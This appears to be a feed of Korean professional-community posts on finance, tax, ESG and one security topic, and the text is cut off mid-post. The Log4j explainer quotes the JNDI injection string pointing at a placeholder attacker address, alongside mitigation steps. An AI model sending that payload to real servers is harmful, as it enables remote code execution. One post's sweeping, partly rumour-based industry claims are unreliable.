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[어떻게 생각하십니까] 36만원, 적은 돈 인가요?
안녕하세요. 파이낸셜뉴스 금융부에서 근무하는 박소연 기자라고 합니다. 이번 글에서는 '청년희망적금' 제도에 대해 여러분들과 공유하고자 합니다. 지난 1월, 금융위원회는 월 50만원씩 2년 간 최대 1200만원을 모으면 시중은행 이자에 더해 36만원을 '더' 주는 청년희망적금 출시를 예고했습니다. 2년 간 50만원씩 모으면 묻지도 따지지도 않고 추가로 수십만원을 얹어 주는 거니까, 재정을 동원하는 정부로서는 아무한테나 줄 수 없는 혜택이죠. 그래서 대상은 연봉 3600만원 이내, 19~34세의 청년으로 제한했습니다. 대상자에게는 좋은 혜택일 것으로 생각하며 기사를 내보냈는데 댓글들이 제 생각과는 달랐습니다. "꼴랑 1.8프로 더 주는게 무슨 정책이라고 기사까지 나오냐" "그냥 은행에서 청년우대 상품 만들면 되지" "카뱅도 월50씩 24회 1200만원에 이자 27만원(세전)정도 나오는데 2년 적금에 10만원 더 주는 게, 월5000원 더 준다는 게 무슨 정책인가요" "2년 간 1200만원어치 삼성 주식 사는 게 36만원보다 개이득일 듯" 이런 댓글만 추린 게 아니고 대부분 이런 식이었어요. 뭐 물론 일부는 '시중은행 이자에 더해' 36만원을 준다는 청년희망적금 제도를 오해한 글들도 있었습니다. 금융위가 도입한 정책은 은행 적금 금리가 5%라고 가정하면 1200만원에 대한 은행 이자 62만5000원에 36만원을 예산으로 더 얹어준다는 겁니다. 이 금액에 대해 발생하는 17만90000의 이자소득세(세율은 15.4%로 가정) 역시 비과세 해준다는 거구요. 그런데, 이런 오해를 차치하고라도 흥미로운 건 댓글에서 읽히는 분위기가 36만원이 큰 돈이 아니라고 생각한다는 거였어요. 저는 '꽁돈' 36만원이 생기면 좋을 것 같은데... 특히 2년 간 매월 50만원씩 1200만원어치 삼성 주식 사는 게 36만원 '공돈'보다 더 이득일 것이라고 판단하는 댓글을 통해서는 자본 소득에 대한 청년층의 인식이 과거와는 많이 달라졌다는 것이 확 와닿았습니다. 기사를 내보내고 금융위 담당자와 이런 댓글에 대해서도 농담 반 진담 반으로 이야기를 나눴습니다. 36만원은 돈으로 안 보는 것 같다고 말이죠. 그래서인지는 모르겠지만 금융위가 오늘 청년희망적금을 본격 출시하면서는 만기시 수령액 기준으로 연 9%짜리 적금 상품과 같은 효과라고 홍보했습니다. 제도의 효과를 더 명확히 보여주기 위한 고민이 녹아 있는 걸로 보입니다. 대상자가 된다면 여러분은 9%짜리 적금, 가입 안 하시겠습니까?
박소연 | 파이낸셜뉴스
2022.02.07
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'카카오 먹튀' 반면교사?...상장 앞둔 기업들 "스톡옵션 1년 내 안팔아요" - 공모가격산정의 오류
‘카카오 먹튀’ 반면교사?…상장 앞둔 기업들 “스톡옵션 1년 내 안팔아요” 출처 : 한겨레 | 네이버 - http://naver.me/5hgTEy9P 위 기사의 내용을 보고, 카카오페이 임원진 대량 스톡옵션 행사 및 지분 매각 사례를 반면교사로 삼은게 맞을지 의문이 들어 내용을 작성하게 되었습니다. 위 기사의 내용을 간단하게 요약해보자면: 카카오페이 "먹튀" 사례와 반대로, 곧 공모 예정인 자율주행 카메라 장비업체 "퓨런티어" 등이 일부 스톡옵션에 1년간 의무보유를 거는 확약을 했다, 그래서 카카오페이와 달리 모범적이다라는 느낌을 주고 있습니다. 우선, 1년간 의무보유 확약을 한 것은 맞습니다.(Dart 투자설명서 참조) 퓨런티어의 임직원 등에게 약 59만주의 스톡옵션이 부여되었고, 이 중 일부인 약 22만주는 상장 직후 행사 및 처분이 가능합니다. 이 22만주에 대해 1년간 행사는 가능하되 매도하지 않겠다고 약속하였습니다. 다만 여기서 문제는, 공모가격에 스톡옵션 행사로 인한 주가 희석 우려가 반영되어 있지 않습니다. 주가는 대게 단순 발행주식수가 아니라 희석주식수를 기반으로 계산합니다. 즉, 전환사채, 전환상환우선주, 스톡옵션 발행 등을 통하여 미래에 발행주식수가 증가할 것을 고려하여 계산한다는 의미이죠. 주가가 회사와 주주의 미래가치를 반영한다는 측면에서, 미래에 발행주식수가 늘어날 가능성이 매우 높다면 그것을 반영하는 것이 어찌보면 당연한 일입니다. 그렇다면 퓨런티어의 공모가격 산정방식을 보겠습니다.(공모가격은 주관하고 인수하는 증권사들의 의견입니다) 아래 사진으로 첨부하기도하였지만, 주관사단과 회사가 여러 추정을 활용한 기업가치 평가액은 약 1,440억원 이를 적용주식수 7,965,980주로 나누어 주당 평가가액 18,094원을 산출합니다. (여기에 공모할인율 약 37~24%를 적용하여 공모가액 밴드 11,400~13,700원을 산출하였습니다.) 여기서 적용주식수 약 800만주는 공모 후 보통주 기준으로만 산정이 되어 있습니다. 즉, 스톡옵션 59만주는 이에 포함되어있지 않은 것이죠. 만약, 스톡옵션을 포함하여(즉, 미래에 발행주식수로 포함될 가능성이 매우 높은 권리를 포함하여) 주당 평가가액을 계산하면 어떻게 될까요? 7,965,980주에 59만주(정확히는 590,850주)를 더하면, 약 855만주. 이를 기준으로 주당 평가가액을 계산하면 약 16,800원이 산출됩니다. 주식매수선택권이 상당히 많기 때문에(공모후 발행주식수의 약 7.4%) 이를 고려하기만 하여도 실제 주가는 상당히 낮아지는 것이죠. 원래의 주당 평가가액 18,094원에서 16,800원이 되면 주가가 7%가 낮아지는 것입니다. 반대로 생각하면, 상장 직후 1년간은 임직원이 스톡옵션 행사로 "먹튀"는 하지 않겠으나, 애초에 공모가격을 7%나 높게 설정한 것이죠. 일반투자자 입장에서는 애초에 7%나 비싸게 산 것이나 다름 없습니다. 다른 공모주들을 살펴보면, 이러한 희석주식수 관련한 적용 방식을 주관사나 발행사별로 다르게 적용하고 있습니다. 다만, 카카오페이 상장시에는 애초에 공모가격 계산시 모든 주식매수선택권을 고려한 희석주식수를 기준으로 주당 평가가액을 계산하였습니다. 희석주식수 기준이 아닌 발행주식수 기준으로 공모가액이 계산되어 비싼 가격에 공모에 참여하는 것과, 희석주식수 기준으로 공모가액을 계산하여 싼 가격에 공모에 참여하였으나 임직원이 스톡옵션을 매도하고 이득을 취한 것. 무엇이 더 모범적인지 판단하기 어렵습니다. *위 글의 내용은 단순 개인적인 의견이며, 주식의 매수 혹은 매도 추천 글이 아님을 밝힙니다.
박수민
NOW 필진
 | 삼성증권
2022.02.07
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[Blockchain Tech-ESG]#004. BT Market Value $50T By 2030!
아크인베스트(ARK Invest)는 'Big Ideas 2022'에서 블록체인 시장규모가 2020년 1.4조 달러에서 CAGR:43% 성장률로 2030년 50조 달러에 육박할 것이는 전망을 제기<그림1>했다. https://community.rememberapp.co.kr/post/76704 2030 블록체인 시장규모 전망에 대한 근거를 세부적으로 살펴보면, Blockchain($40T), Digital Wallets($9T)로 구성<그림2> 되어 있으며, BT(Blockchain Tech)에 대해 좀 더 구체적인 전망치를 들여다 보게 되면, Bitcoin($28.5T)<그림3>, Ethereum($22.5T)<그림4>, Online Expenditures-Web3($12.5T)<그림5>로 기술분야별로 전망치를 추정하였다. Public Blockchain Infrastructure는 Bitcoin을 통한 <The Money Revolution>, DeFi를 통한 <The Financial Revolution>, Web3를 통한 <The Internet Revolution>로 구성되어 있다. <그림6> <The Money Revolution> 측면에서 Bitcoin의 이해관계자(stakeholder)들이 ESG를 적극적으로 고려하고 있으며, 특히 Environmental 에서의 Bitcoin 채굴과정에 필요한 에너지를 기존 화석연료에서 재생에너지 분야로의 기술촉진을 이끌어 내고 있다는 분석은 관련 산업 이해관계자들 입장에서 앞으로 매우 흥미롭게 지켜 볼 기술-산업 트랜드로 판단된다. <그림7> 이미 블록체인, 인공지능 기술 분야에서의 엄청난 수요증가로 인한 시스템 반도체, GPU 공급 부족 사태를 경험하고 있으며, 이로 인한 연쇄반응으로 시스템 반도체를 적용하고 있는 전 세계 차량 제조사의 생산 차질에 대한 리스크가 화두에 오르기도 했다. 이에 대한 대응으로, 코로나19 팬데믹과 같은 글로벌 위기 상황으로 인한 다양한 리스크에 노출되어 있는 현재 모든 이해관계자들이 미래가치에 공존할 수 있는 토대를 구축하기 위한 <BT-ESG 경영 프레임워크>의 적극적인 추진이 필요한 시점이다. * 출처 Big Ideas 2022,ARK Invest, available at: https://ark-invest.com/big-ideas-2022/ https://www.tokenpost.kr/article-82339
김세규 | (주)스마트시티그리드
2022.02.06
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🏭화학회사(글로벌)가 🏦한국에 오는 이유
한국에는 화공기업이 많습니다. 특히 일본 기업이 많고 이외에도 글로벌 업체들이 많습니다. 각 지역 공단의 독한 냄새가 화공업체에서 배출되는 가스 와 잔유물 때문 입니다. https://www.chosun.com/economy/industry-company/2022/02/05/FPG6ZPQB55H2ZGANH7UHCPWFK4/ 자동차 환경 규제는 세계에서 가장 지독한데 이상하죠? 외국에서 들여오는 자동차 만 지독하게 검사를 하고 외국계 업체가 한국에서 제조하는 것은 서류 심사로 인정 됩니다. 이렇듯 많은 분야에서 이미 한국은 “쓰레기 버리기 좋은 국가” 입니다. 얼마 전 광주 아이파크의 레미콘 성분의 40%가 일본 쓰레기 라죠. 시멘트 축사의 시작도 일본에서 축산업이 어렵기 때문에 한국에서 키워 일본으로 보내기 좋게 했다는 썰이 있습니다. 일본은 화공 관련 규제가 엄격 합니다. 오히려 한국과 반대로 외국에서 수입되는 일부의 경우는 영향이 미미하다며 통과, 일본 내 제조 및 유통은 매우 엄격합니다. 그래서 더럽고 유독한 것은 한국에서 한국의 자본으로 만들어 일본에 유통 합니다. 웃기죠~ ㅎㅎ 그런데 이런 과정을 한국 정부에서 권장을 한다는 것을 아십니까? 16년 전, 경험 입니다. 수퍼카 신차 인증을 해달라는 요청에 이직을 했습니다. 임금 외 눈이 호강했죠. 일본에 본사를 둔 대리점 이었습니다. 그런데 출근을 역삼동 6평 오피스텔로 했고 4개월 동안 하는 것 이라고 는 은행 업무. 1. 일본의 매출을 증빙하는 서류를 받아서 2. 무역협회에 제출을 했더니 3. 대한민국 정부 보증으로 4. 신한은행 을 통하여 30억원 1차 대출. 광장동 워커힐 아래에 전면 유리로 된 전시장 겸 정비소 건축. 5개월 째 되면서 는 뭔가 하는 것 같았죠. 건축이 완료 되고 다시 1~4 반복하여 추가 대출로 이번에는 MC12코르사(12대 생산)같은 수퍼카를 수십대 수입 했습니다. 이 때 신났죠. 한국에서 최초로 제가 이런차들을 운전 했으니까요. 이건희 회장 갈비뼈를 부러뜨리게 한 SLR722 도 제 손으로 진행 됐었습니다. 그런데 이상하더라고요. 볼펜 한 자루 까지도 아주리스 통해서 모든 것을 리스로 진행 했습니다. 그러더니 갑자기 전시장의 모든 차량을 일본에 전시를 한다며 일본에서 직접 레이싱 운반용 트랜스포터를 몰고 와서 싹 가져 갔습니다. 이 후 연락 두절. 한국 자본으로 수입하여 일본에서 판 것이죠. 당시 아주리스 경영 위기의 주인공 이었습니다. 외국에 본사를 둔 기업이 한국에 지사를 설립 할 경우 한국 정부에서 보증서를 발행 합니다. 이 보증서로 대출이 가능 한 것이죠. 우리가 다들 아는 GM, 르노 도 마찬가지. 사천에 있는 담배 업체는 평당 20원 임대료. 도레이는 온갖 냄새와 유독물질을 배출하지만 땅, 운영비 와 인건비 까지도 지원을 받습니다. 우리가 아는 대부분의 글로벌 업체들이 한국에서 영업을 하는 이유 입니다. GM 군산 공장의 철수 이유가 지원 받는 기간이 만료 되었던 겁니다. 눈치 빠른 분들은 인지 했을 텐데요, 한국에서 창업을 하여 수출을 하겠다는 애국자 분들이 계십니다. 힘드시죠? 반대로 했어야 하는 겁니다. 삼성 보세요. 한국에서 만들어서 미국 법인이 매입을 하고 다시 한국 법인이 매입을 하여 유통을 합니다. 반도체 이야기 입니다. 이렇게 갔다 오면서 가격은 두배가 됩니다. (다른 듯 같은 얘기) 잠깐 딴 얘기. 왜 미국에 반도체 공장이 적을까요? ㅎㅎㅎ 더럽고 냄새나고 사람이 죽어서 그렇습니다. 다시 정신 차리고. 반대는 이렇습니다. 1. 미국(선진국)에 본사를 설립 합니다. 2. 매출을 만듭니다(뭐든 상관 없음) 3. 한국정부 보증서 발행 4. 외투지역 입주(말도 안되게 쌈) 5. 사업자금 유통 수출 하려면 어차피 외국 지점을 내야하죠? (최근 대행도 있지만) 시작부터 수출국에서 하라는 겁니다. 그리고 유통하려는 것으로 선진국 본사에서 매출을 만들면 되는 겁니다. 제 포스팅을 보시는 분들은 🤷🏻‍♂️의야해 하실 겁니다. 본 적이 없을 겁니다. 저는 이런 것을 기록 해둡니다. 특별히 높은 매출이나 혜택을 받은 이들은 방법이 있더군요. 법을 잘 아는 겁니다. 해당분야의. 무일푼으로 유학하는 방법도 있더군요. 위 소개 한 무역 지원 방법과 유사 합니다. 애국자도 좋지만 애원자(직원을 사랑하는 대표)가 되길 바라며 매출 많이 만들어서 월급 많이 주시라고 경험을 나눠 봅니다. 배가 될 수 있도록~ (꼼수를 참 많이 봤습니다. 꼼수가 반칙 일까요? 꼼수는 정석을 알아야 할 수 있는 겁니다) // https://youtube.com/c/CASE333888 1기 인사이트 “이승민” 자동차 설계를 시작으로 항공우주, 조선산업, 스마트시티, 가전 및 복합소재 산업 등에서 제품의 개발을 시작하게 하며 상용화까지 전반적인 진행을 21년 간 경험 중. 수도권역 C.F.R.P 모든 업체 창업 도움 등, 20여 업체 창업을 함께 하는 중. 20명 인솔하여 호주사막 캠핑하며 솔라카 종단. 설계자 이며 제작자 로써 그리고 사업가 이며 실무자 로써 다양한 산업계의 낮은 소리를 울림으로 전달 하고자 합니다. [email protected] //
이승민 | 한국에너지공과대학교
2022.02.06
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EU Taxonomy – 내 삶과 무슨 상관이 있나요?
(대한민국에 거주하는) 나의 일상생활과 직접 상관성은 없는 개념으로 이해해도 무방합니다. 이 개념을 몰랐다고 당황하시는 여러 다른 분들을 위해 설명을 드립니다. 매우 간단하게 말하자면, EU가 이러저러한 경제활동은 친환경적이라고 구분하는 분류체계가 EU Taxonomy이며, 이 분류체계를 이용하여 민간투자 관련 일정 분야를 규율하거나 또는 이 분류체계를 민간이 자발적으로 활용하도록 유도하여 EU의 환경목표 달성에 도움을 받겠다는 목적으로 만들어지고 있는 것입니다. 한편, EU Taxonomy에 언급된 경제활동이 아니면 반드시 환경적으로 해악이 있다거나 지속불가능하다는 의미는 아니며, 지금은 포함되지 않은 그러나 환경목표 달성에 도움을 주는 경제행위가 추가되는 변경이 가능한 분류체계라고 EU는 분명히 밝히고 있습니다. The EU Taxonomy Delegated Acts에 따라 분류체계 작업이 이뤄지는 중입니다. 현재 EU Commission이 원자력과 천연가스 관련 투자활동도 친환경으로 분류한 상태입니다만, 확정을 위해서는 회원국 동의 및 EU의회 의결 등 남은 절차들이 완료되어야 합니다. 향후 일정 규모 이상의 기업 및 투자자를 대상으로 EU Taxonomy와 부합한 경제활동을 얼마나 하고 있는지에 대한 공시(즉, ‘환경적 지속가능 경제활동’ 항목을 기업지속가능보고서에 포함하는 공시)를 강제할 예정이고, 이를 통해 기업간의 친환경 참여정도 비교를 가능하게 하겠다고 합니다. 더 나아가, 민간시장참여자들이 투자결정 시 친환경투자에 해당하는지 여부를 판단함에 있어서 판단기준을 제공하고, 금융기관이 신뢰성 있는 친환경투자상품을 개발할 수 있도록 도움을 제공하고자 한다고 합니다. 이런 거창한 목표에도 불구하고, 각론에서는 어떤 투자가 친환경투자로 분류될 수 있는지에 대한 논란이 가능함을 EU는 인지하고 있습니다. 예를 들어, 투자대상 사업의 일부만 친환경적 요소를 가지고 있음에도 투자대상 전체를 친환경투자로 볼 것인가 같은 문제입니다. 친환경적 요소가 많이 가미된 dark green인지 조금만 가미된 light green인지 판단하는 감별법(익살스럽게 표현했습니다만, EU에서는 거창하게 regulatory technical standards라고 합니다)에 대해 고민이 진행 중인 것 같습니다. 다르게 정리하면, EU Taxonomy는 탄소감축이 전세계적 과제가 된 상태에서 EU가 탄소감축을 달성하기 위해 고안한 하나의 방안입니다. 분류체계 및 관련 규제 확정을 위해서는 여전히 많은 시간이 소요될 것으로 전망됩니다. [법무법인(유) 광장 김진]
김진 | 법무법인(유)광장
2022.02.06
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주주총회 매년 안 한다면 상법 위반 일 수도 있다.
주주총회 매년 실시해야 하는 상법상 규정입니다.
박해덕 | 씨엔씨 파트너
2022.02.06
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BEPS2.0(Digital tax) Pillar 1 과세권 배분과 연계점
지난번 BEPS2.0 이라 새로운 명칭을 얻게 된 디지털세에 대한 간략한 내용을 말씀드렸습니다. https://app.rmbr.in/OnJDQr8xvnb 그리고 오늘은 BEPS 2.0의 두 가지 핵심 내용 중 'Pillar 1: 과세권 배분과 연계점'에 대해 말씀 드리려고 합니다. 사실 대한민국의 대다수의 기업은 당장 2023년 시행되는 BEPS2.0과 관련하여 Pillar 1보다는 Pillar 2에 더 관심이 있는 상황입니다. (그 이유는 아래 내용에서 확인 하실 수 있습니다.) 하지만 최초 OECD에서 디지털세가 논의되기 시작한 이유를 생각해보면 Pillar 1의 내용을 살펴 볼 필요성이 있지 않을까요? 간단하게 정리해보면, 'Pillar 1의 내용은 (1)글로벌 마켓(다국적 기업)에서 일정 금액 이상의 매출을 올리는 기업의 (2)통상적인 이익을 초과하는 이익은 (3)매출이 발생하는 국가에 (4)일정한 세금을 납부하도록 한다.'로 정리 될 수 있을 듯 합니다. Pillar 1에 따르면 이제는 고정사업장이 없는 매출 발생 국가에도 세금을 내도록 하는 '과세권 조정(배분)'이 이루어졌습니다. 다만, 이전 글에서 말씀 드렸던 것과 같이 대상이 '디지털 기업'에서 '글로벌 마켓(다국적 기업)에서 일정금액 이상의 매출을 올리는 기업'으로 변경되었습니다. 그래서 명칭도 BEPS 2.0이 되었죠. 새로운 세목(세금)이 생기면, (1) 누구에게 과세가 되는가? (2) 어떤 소득이 이익에 과세가 되는가? (3) 어디에 세금을 납부하는가? (4) 얼마의 세금을 납부할 것인가? 이런 4가지 중요한 포인트가 발생합니다. Pillar 1에서는 (1) 글로벌 마켓(다국적 기업)에서 일정금액 이상의 매출을 올리는 기업을 과세 대상으로 보고 있고, 이 때의 '일정한 금액'은 해당 기업의 연결매출액 기준 200억 유로 입니다. (2) 해당 기업의 이윤 중 10%를 초과하는 이윤에 대해 과세권을 배분한다. '글로벌 연결 매출액 200억 유로 이상인 다국적 기업 중 이익률이 10%를 초과하는 기업'이라고 정리가 되네요. 대상은 정해졌고, 그럼 위 다국적 기업의 초과이윤은 모든 매출 발생 국가에 과세권이 배분 될까요~? 그건 아닙니다. 과세 연계점이라는 개념으로(3) 해당 국가의 매출액이 100만 유로 이상인 국가들을 대상으로 초과이윤에 대한 과세권이 배분됩니다. (GDP가 400억 유로 이하인 국가의 경우 발생 매출액이 25만 유로 이상인 경우 배분 대상에 포함) 마지막으로 (4) 얼마의 세금을 납부해야 하는가는 초과 이윤에 대한 과세권을 배분 받았으므로, 각 국가의 세법 규정에 따라 과세가 된다고 이해하면 될 듯 합니다. Epilogue1. 200억 유로 이상의 연결 매출액에 10%이상의 이익률이 발생하는 다국적 기업이 많지는 않습니다. 대한민국 기준으로 2~3개 기업 정도라고 합니다. 그래서 Pillar 1에 대한 관심이 상대적으로 떨어지는 듯 합니다. 7년 뒤 연결매출액 기준을 '100억 유로 이상'으로 하향 조정할 계획이라고 하니 조정 후 대상 기업들도 지금부터 관심을 가지고 준비하는 것이 좋을 듯 합니다. Epilogue2. 한국 조세당국은 해외 납부 세금은 외납세액공제가 가능하므로 세부담 중립이라고 이야기하고 있습니다. 다만 '각 기업이 부담해야할 납세협력 비용을 고려했을 때도, 세부담 중립이니 기업에는 부담이 없다라는 결론이 맞는 것인가?' 하는 생각도 됩니다. Epilogue3. 해당 규정이 시행되는 2023년부턴 유럽, 인도 등 개별적으로 디지털기업에 대해 진행하고 있는 과세정책(일명 DST)은 일괄적으로 폐지하기로 한 것이 'NAVER, 카카오 등 국내 IT기업에는 조금의 도움이 될 수 있을지도?'라고 생각합니다. 미국계 기업들도 동일한 혜택(?)을 받겠지만요.
김현녕 | (주)GS글로벌
2022.02.05
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[Tech] 사상최악의 보안 취약점, Log4j 취약점
안녕하세요. 오늘은 본연의 업무로 돌아와서, 보안과 관련된 글을 써보도록 하겠습니다. 2021년의 마지막을 떠들썩하게 장식하였던 Log4j 취약점에 대해 좀더 쉽게 알려드리고자 합니다. 우선, Log4j는 아파치 소프트웨어 재단이 개발한 'JAVA'기반의 오픈소스 프로그램으로 동작 도중 '로그'를 기록하는 목적으로 사용됩니다. JAVA와 관련된 로그를 쉽고 편리하게 관리하기 위한 프로그램이라고 생각하시면 되겠습니다. 많은 기업들이 JAVA로 개발된 홈페이지와 같은 인터넷 서비스를 운영, 관리하면서 기록을 남기기위해 사용하고 있습니다. ※ 'JAVA' : 썬 마이크로시스템즈연구원들에 의해 처음 개발된 인터넷 환경에서 가장 활발히 사용되는 프로그래밍 언어. '로그' : 시스템, 서비스 등의 동작 상태를 남긴 기록. Log4j 취약점은 중국 Alibaba Cloud 보안팀에 의해서 21년 11월 경 Apache에 공식 보고가 되었으며, 대표적으로는 유명세를 갖고 있는 온라인 게임 마인크래프트에서 프로그래밍 코드로 이뤄진 '특정 채팅 메시지'를 입력하면 원격으로 프로그램을 실행할 수 있는 문제점이 실제 확인되었습니다. Log4j 취약점을 이용한 공격은 쉬운 반면 결과는 치명적이기 때문에 Log4j를 사용하는 많은 기업들이 피해를 입을 수 있어서 고위험 등급의 취약점으로 분류되었습니다. ※ '특정 채팅 메시지' : ${jndi:ldap://공격자의 주소} 외부에서의 메시지 입력만으로도 내 시스템의 권한을 빼앗길 수 있고, 타인이 인증없이 손쉽게 내 시스템에 침투할 수 있는 취약점이다보니 공개된 이후 발빠르게 조치하기위해서 정보보안분야의 많은 전문가 분들께서 불철주야 고생이 많으셨으리라 짐작됩니다. Log4j 중에서도 2.0 버전부터 취약점이 발견되어 완벽한 조치를 위해서는 해당 프로그램을 아예 삭제하여 쓰지않는 것이 제일 좋지만 이미 폭넓게 사용중이다보니 서비스를 유지하기 위해서 취약점이 조치된 최신버전으로 업그레이드를 하는 방법이 권장되었습니다. 이밖에도 'JndiLookup 클래스를 경로에서 제거'하거나 '환경변수 설정변경'하는 방법으로 긴급조치가 진행되었습니다. ※ 'JndiLookup 클래스를 경로에서 제거' : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class '환경변수 설정변경' : Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수 true 설정 발빠른 정보보안분야의 전문가 분들의 노고로 “최근 10년간 가장 치명적이고 거대한 취약점이다. 현대 컴퓨터 역사를 통틀어 최악의 보안 결함일 수도 있다”라는 이야기가 있던 Log4j 취약점에 대해 많은 분들께서 알아차리시기도 전에 신속하게 조치가 되었지만, 이와 유사한 취약점은 지금도 끊임없이 등장하고 이를 이용한 공격은 지속적으로 계속될 것이기 때문에 간단하게나마 알아두시고 경각심을 가지시길 바라는 마음으로 Log4j 취약점에 대한 글을 쓰게 되었습니다. 근처에서 고생하고 계시는 보안담당자분들이 계시다면 가볍게 격려의 한마디라도 부탁드립니다. 감사합니다. [취약점] o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVE-2021-45046) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 1.2에서 발생하는 원격코드 실행 취약점(CVE-2021-4104) - Apache Log4j 1.2는 2015년 8월에 종료 - 취약점이 조치된 최신버전 사용권고 - JMSAppender 미사용 권고 [참고사이트] [1] apache 보안업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html [2] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 [3] 신규버전 다운로드 : https://logging.apache.org/log4j/2.x/download.html [4] 제조사별 현황 : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 [5] 탐지정책 : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules [6] 취약점 대응 가이드 : https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390 [7] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 [8] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104 [9] Log4j 2.12.2버전 다운로드 : https://archive.apache.org/dist/logging/log4j/2.12.2/
김정희 | 서울특별시 미디어재단 티비에스
2022.02.04
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금리인상기의 투자상품
핸드폰 속 증권사HTS를 자주 보시나요? 저는 자다 깨면 들여다보고, 아침에 눈뜨면 제일 먼저 본답니다. 연휴가 끝나는 어제 아침에는 미국 기술주 등 살짝 반등이 나와서 다행이다~라고 하면서 출근했는데, 이 글을 쓰는 아침에는 미국 주식 뿐 아니라 유럽 등 해외 지수들이 모두 하락이네요. 매일아침 일희일비 하지 말아야지 하는 마음을 먹지만, 그래도 늘 그게 잘 안되지요. 투자 자산상품 이야기를 하자면 주식으로 시작해서 주식으로 끝나는 경우가 많습니다. 특히 코로나19로 야기된 비대면 경제 환경에서 IT와 관련된 성장주식들의 눈부신 성과는 그 누구도 부인할 수 없기에 말입니다. 하지만 올해 1월 들어 조정 받는 주식을 보면서 조금은 달라진 투자환경을 인식할 필요가 있습니다. 여러 가지 이유가 있지만 저는 금리인상으로 인한 시장의 조정에 초점을 맞추어, 투자 상품을 어디에 투자하면 좋을지 정리해보았습니다. 금리인상이 야기할 것은 성장주식의 조정일 것입니다. 메타버스,엔비디아, 구글, 테슬라 등 의 주식들은 미래의 꿈으로 벌어들일 수 있는 기대이익까지 지금이 가치로 할인하여 주가에 형성되어 있습니다. 물론 그것이 단번에 무너지지는 않겠지만, 금리 인상이 지속 된다면 작년 같은 수익을 기대하기가 어려울 것으로, 전체 자산비중을 조금은 줄이고, 투자의 틀을 조금 바꿀 필요가 있습니다. 왜냐면 과거의 주식시장은 어떤 종목을 샀어도 올랐을 그런 시장이었던 반면 앞으로의 시장은 그렇게 쉽지 않을 것이기에 그렇습니다. 그리고 개별 이슈들의 모든 사안은 개인들이 점검하기는 어려우니 펀드와 ETF를 통해서 원하는 분야에 맞추어 있는 투자 상품에 투자하는 것이 좋습니다. 성장주식 외에 배당성향이 강한 기업에 투자방법도 이용해 볼만합니다. 국내의 배당성향이 큰 기업주식에 투자할 수도 있고 미국, 유럽, 아시아 국가 중 꾸준한 배당성향을 내는 회사들의 주식, 그런 회사들의 모음펀드, ETF 투자도 좋은 방법입니다. 금리 인상기에는 리츠 관련 투자도 많이 언급 됩니다. 부동산 임대료가 올라가서 그만큼의 수익을 올릴 수 가 있기에 단기적으로는 실제 수익이 나기도 한답니다. 하지만 지속된 금리인상에는 결국 부동산 대출이자가 올라가서 비용이 커지고, 실질 임차인의 부실 문제가 발생할 수 있음을 알고 투자해야 한답니다. 화두가 되고 있는 가상화폐에 요즘 새로운 분위기가 감지되고 있습니다. 독일과 일본에 금융자산 안에 암호화자산을 기재하고 있습니다. 중국도 CBDC(중앙은행 디지털화폐) 도입에 주력하고 있습니다. 세계 최로 캐나다 비트코인 ETF가 승인이 되었고, 비록 며칠 전 실패했지만 지금도 비트코인 현물 상장지수펀드(ETF)가 미국 증권거래위원회의 장벽을 넘으려고 계속 시도하고 있습니다. 국내에서도 가상화폐에 대한 징수여부가 논란이 되다가 현재는 유예되어 있는 상태이죠. 아직은 이렇다~ 라고 완전정비가 안된 상태이지만, 거스를 수 없는 흐름으로 인식되어 관심을 가져야 합니다. 다만, 바로 당장 금리 인상기에는 그 성장 동력이 떨어질 것으로 보여 소액 적립식으로만 접근하시길 바랍니다. 다양한 자산에 관심을 가지고, 그 중 본인에게 맞는 투자자산을 찾아서 꾸준함과 깊이를 더해 본다면 투자실력도 늘지 않을까 생각해봅니다.
김해진 | 하나은행
2022.02.03
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Digital Tax가 BEPS2.0이 된 이유
지난 2021년 International Tax 분야에서 가장 핵심 화두로 거론 된 부분이 Digital Tax였던 것 같습니다. 평소 Tax분야에 대해서 관심이 없던 분들, 특히 International Tax에 대해서는 전혀 관심이 없으셨던 분들이 Digital Tax에 대해서 알기 쉽게 설명을 좀 해달라고 요청이 오기도 했었습니다. 이제 2023년 1월이면 본격적인 시행을 앞둔 BEPS2.0 이기 때문에 아마 올 한해도 여러 측면에서 많은 이슈가 생길 듯 합니다. 오늘은 그래서 과거 약 5~6년동안 논의가 되어왔던 Digital Tax가 왜 BEPS2.0이라는 이름으로 내년에 시행되게 되었는지 간단히 이야기해볼까 합니다. 처음 디지털 경제에서의 조세문제가 OECD BEPS위원회에서 이슈가 되기 시작한 것은 2015년 10월이었습니다. 기존 BEPS(Base Erosion and Profit Shifting)에서 국가간 이중과세를 방지하기 위한 기본적인 출발점인 과세권은 고정사업장(PE:Permanent Estavlishment)이 존재하는지 여부가 가장 중요한 기준이었습니다. 고정사업장은 일정 기간 이상 해당 국가에서 주된 사업활동을 수행하는 물리적 장소를 의미하는 개념입니다. 즉, Google이나 Amazon 등의 Digital 기반의 Contents나 Service를 제공하는 기업의 경우 고정사업장을 기준으로 과세권을 결정할 때는 실제 매출이 발생한 국가에서 과세를 할 수 없다는 문제점이 발생하게 됩니다. 'BEPS Project Action Plan 1'은 이러한 Digital 기업의 과세권에 관한 문제를 어떻게 해결할 수 있을까를 논의하고 고민하게 되었습니다. 이러한 논의가 왜 5년 이상이란 긴 시간이 걸린 것일까요? 결국은 대다수의 Digital 기업이 미국 기업이라는 것이 그 이유였습니다. 실제로 Digital 기업에 대한 과세권 조정이 일어날 경우, 미국은 해당 기업에 대한 과세권한을 빼앗기게 되고 세수가 줄어드는 효과가 일어나기 때문입니다. 그래서 기존 트럼프 정권에서는 'BEPS Project Action Plan 1'에 대한 협상 테이블에 나서는 것 자체를 거부하였습니다. 그리고 바이든 정부에서도 기본 입장은 미국이 주 타겟이 되는 Digital Tax에 대해서는 동의할 수 없다는 